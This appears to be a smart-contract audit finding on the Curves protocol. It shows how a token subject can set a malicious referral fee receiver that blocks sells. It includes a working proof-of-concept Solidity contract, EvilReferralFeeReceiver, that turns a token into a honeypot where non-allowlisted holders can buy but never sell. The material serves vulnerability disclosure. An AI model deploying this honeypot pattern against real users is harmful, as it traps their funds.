File: contracts\Curves.sol
218:     function _transferFees(
...
224:     ) internal {
225:         (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holderFee, ) = getFees(price);
226:         {
227:             bool referralDefined = referralFeeDestination[curvesTokenSubject] != address(0);
228:             {
229:                 address firstDestination = isBuy ? feesEconomics.protocolFeeDestination : msg.sender;
230:                 uint256 buyValue = referralDefined ? protocolFee : protocolFee + referralFee;
231:                 uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;
232:                 (bool success1, ) = firstDestination.call{value: isBuy ? buyValue : sellValue}("");
233:                 if (!success1) revert CannotSendFunds();
234:             }
235:             {
236:                 (bool success2, ) = curvesTokenSubject.call{value: subjectFee}(""); 
237:                 if (!success2) revert CannotSendFunds();
238:             }
239:             {
240:                 (bool success3, ) = referralDefined
                           // @audit always be called even when referralFee is 0
241:                     ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("") 
242:                     : (true, bytes(""));
243:                 if (!success3) revert CannotSendFunds();
244:             }
245: 
246:             if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
247:                 feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
248:                 feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
249:             }
250:         }
...
261:     }
File: contracts\Curves.sol
155:     function setReferralFeeDestination(
156:         address curvesTokenSubject,
157:         address referralFeeDestination_
158:     ) public onlyTokenSubject(curvesTokenSubject) {
159:         referralFeeDestination[curvesTokenSubject] = referralFeeDestination_;
160:     }
// @note: put in file: 2024-01-curves\contracts\Test\EvilReferralFeeReceiver.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@openzeppelin/contracts/access/Ownable.sol";

interface ICurves {
    function curvesTokenBalance(address subject, address account) external view returns (uint256);
}

contract EvilReferralFeeReceiver is Ownable {
    ICurves private _curves;
    address private _subject;
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _allowlist;

    function setCurvesAndSubject(address curves, address subject) external onlyOwner {
        _curves = ICurves(curves);
        _subject = subject;
    }

    function setAllowList(address account, bool allow) external onlyOwner {
        _allowlist[account] = allow;
    }

    function updateBalances(address[] memory accounts) external onlyOwner {
        for (uint256 i; i < accounts.length; ++i) {
            address account = accounts[i];
            _balances[account] = _curves.curvesTokenBalance(_subject, account);
        }
    }

    receive() external payable {
        if (_allowlist[tx.origin]) return;
        // only buy, can't sell
        uint256 newBalance = _curves.curvesTokenBalance(_subject, tx.origin);
        if (newBalance <= _balances[tx.origin]) revert("Honey Pot");
        _balances[tx.origin] = newBalance;
    }
}
